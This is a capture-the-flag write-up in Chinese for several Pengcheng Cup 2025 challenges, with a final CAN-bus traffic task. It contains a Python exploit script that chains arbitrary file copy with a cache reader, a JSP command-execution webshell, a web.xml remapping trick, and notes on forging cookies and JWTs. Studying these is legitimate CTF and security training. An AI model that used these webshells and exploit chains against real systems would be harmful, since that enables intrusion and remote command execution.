鹏城杯2025 WP
pcb5-Uplssse
登录后伪造cookie,将cookie base64 解码
O:4:”User”:4:{s:8:”username”;s:5:”admin”;s:8:”password”;s:6:”123456”;s:10:”isLoggedIn”;b:1;s:8:”is_admin”;i:0;} 把最后的0改成1,进入上传页面
条件竞争,上传图片马,.htaccess
ezDjango
Gemini3 Pro 提供的思路
/copy/ (任意文件复制): 代码中 copy_file 函数没有对 src(源文件)做任何过滤,只检查文件是否存在。 这意味着:我们可以请求服务器把 /flag 复制到缓存目录中,并伪装成一个合法的缓存文件。
/cache/viewer/ (任意文件读取): 只要文件在缓存目录下,并且文件名符合 md5(key).djcache 的格式,这个接口就会读取该文件的二进制内容并返回给我们(而且是 HEX 格式,不会触发 pickle 反序列化)。
操作流程:
计算一个假 Key 的 MD5,例如 md5(“myflag”)。
调用 /copy/,把 /flag (源) 复制到 /tmp/django_cache/<MD5>.djcache (目标)。
调用 /cache/viewer/,查询 myflag。
服务器读取我们刚刚复制过去的 Flag 文件,并把内容发给我们。
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import hashlib
import os
TARGET_URL = "http://192.168.18.27:25003"
def get_md5_filename(key):
return hashlib.md5(key.encode()).hexdigest() + ".djcache"
def main():
s = requests.Session()
print("\[\*\] 1. 探测缓存目录...")
cache_dir = "/tmp/django_cache"
try:
res = s.post(f"{TARGET_URL}/cache/viewer/", data={"key": "probe_path_123"})
if "Cache file not found: " in res.text:
path_part = res.json()\["message"\].split("Cache file not found: ")\[1\]
cache_dir = os.path.dirname(path_part).replace("\\\\", "/")
print(f"\[+\] 发现缓存目录: {cache_dir}")
except:
print(f"\[-\] 探测失败,使用默认: {cache_dir}")
flag_paths = \[
"/flag",
"/app/flag",
"/root/flag",
"./flag",
"../flag",
"/tmp/flag"
\]
print("\n\[\*\] 开始尝试利用 Copy 功能窃取 Flag...")
steal_key = "stolen_flag"
steal_filename = get_md5_filename(steal_key)
if cache_dir.endswith("/"):
dest_path = cache_dir + steal_filename
else:
dest_path = cache_dir + "/" + steal_filename
found = False
for src_path in flag_paths:
print(f"\[\*\] 尝试 Copy: {src_path} -\> {dest_path}")
res = s.post(f"{TARGET_URL}/copy/", data={
"src": src_path,
"dst": dest_path
})
try:
resp_json = res.json()
except:
print(f" \[-\] 响应解析失败: {res.text\[:50\]}")
continue
if resp_json.get('status') == 'error':
if "Source file not found" in resp_json.get('message', ''):
print(f" \[-\] 文件不存在: {src_path}")
else:
print(f" \[-\] Copy 错误: {resp_json.get('message')}")
continue
print(f" \[+\] Copy 成功! 正在读取内容...")
res = s.post(f"{TARGET_URL}/cache/viewer/", data={"key": steal_key})
data = res.json()
if data.get('status') == 'success':
hex_content = data\['raw_content'\]
flag_content = bytes.fromhex(hex_content).decode('utf-8', errors='ignore')
print(f"FLAG FOUND via {src_path}:")
print(flag_content.strip())
found = True
break
else:
print(f" \[-\] 读取失败: {data.get('message')}")
if not found:
print("\[-\] 遍历了所有常见路径,未找到 Flag。")
if \_\_name\_\_ == "\_\_main\_\_":
main()
pcb5-ez_java
附件是.htaccess,根据ai提示,访问/download?path=%2fWEB-INF%2fweb.xml读取web.xml。
Ai分析出一些关键的类:
com.ctf.BackUpServlet (映射路径 /backup/*)
- 分析:“备份”功能通常涉及文件读取、打包或数据库导出。如果实现不当,极其容易导致任意文件读取或敏感信息泄露。这是最可疑的目标。
com.ctf.AdminDashboardServlet (映射路径 /admin/*)
- 分析:管理员面板通常包含普通用户无法访问的功能,Flag 很有可能就在管理员才能看到的地方,或者硬编码在这个类里。
/download?path=%2fWEB-INF%2fclasses%2fcom%2fctf%2fBackUpServlet.class
/download?path=%2fWEB-INF%2fclasses%2fcom%2fctf%2fAdminDashboardServlet.class下载后用jadx反编译。
权限控制 (AdminDashboardServlet):
代码中 validateAdmin 方法会检查名为 jwt 的 Cookie。
它调用 JwtUtil.validateToken(value),并要求返回的用户名必须是 “admin”。
还有个疑似可以修改资源路径的
如果我们将 new-path 设置为 /,那么 getServletContext().getRealPath(resourceDir) 就会指向 Web 应用的根目录(Root Context),而不再是安全的 uploads 目录。
需要进行jwt伪造,先下载JwtUtil.class,发现key
AdminDashboardServlet 中的 validateAdmin 方法只检查了 JWT 中的 sub 是否为 admin。
使用伪造的jwt,可以访问/admin.html
修改资源路径
在/admin.html可以看到资源路径变了。此时,全局的文件上传目录已经被我们劫持到了网站根目录。
通常我们可以直接上传一个 .jsp 马,但这题没用。
这里有一个更底层的利用方式:覆盖配置文件。
由于我们现在可以将文件写入 Web 根目录,且通常 Web 应用运行在 Tomcat 下,Web 根目录包含 WEB-INF 文件夹。Tomcat 有一个特性:当 WEB-INF/web.xml 被修改时,Context 会自动热重载(Reload)。
我们可以利用这一点,自定义文件后缀的解析规则。
攻击策略:
**上传马 **
1
2
3
4
5
6
7
8
9
10
11
12
13
<%
String c = request.getParameter("c");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
java.io.BufferedReader r = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line;
out.println("\<pre\>");
while((line = r.readLine()) != null) {
out.println(line);
}
out.println("\</pre\>");
}
%>
上传恶意的 web.xml: 接着,上传一个精心构造的 web.xml 到 WEB-INF/web.xml。 在这个配置中,我们手动添加一段 Servlet 映射,强制将我们刚才上传的后缀(比如 .js)交给 Tomcat 的 JSP 引擎(org.apache.jasper.servlet.JspServlet)去处理。
- web.xml 关键修改点思路: 保持原有的 Servlet 定义不变(防止应用崩掉),额外增加:
1
2
3
4
<servlet-mapping>
<servlet-name>jsp</servlet-name> -->
<url-pattern\>*.js</url-pattern>
</servlet-mapping>
然后读取环境变量得到flag
124
数据识别:
使用Wireshark打开提供的pcap文
分析CAN总线数据,识别底盘动力域相关信号
发现ID为0x580的信号呈现先上升后下降的趋势,符合车速特征
信号解析
0x580信号每帧数据最后一位为校验位,无需处理
解析前7字节(或根据实际情况调整)为车速值
单位换算:十六进制值 × 0.01 = 车速(km/h)
峰值定位:
对所有0x580帧进行解析,绘制车速变化曲线
确定峰值出现在帧编号No.12149处
Sha256编码,然后用flag包裹












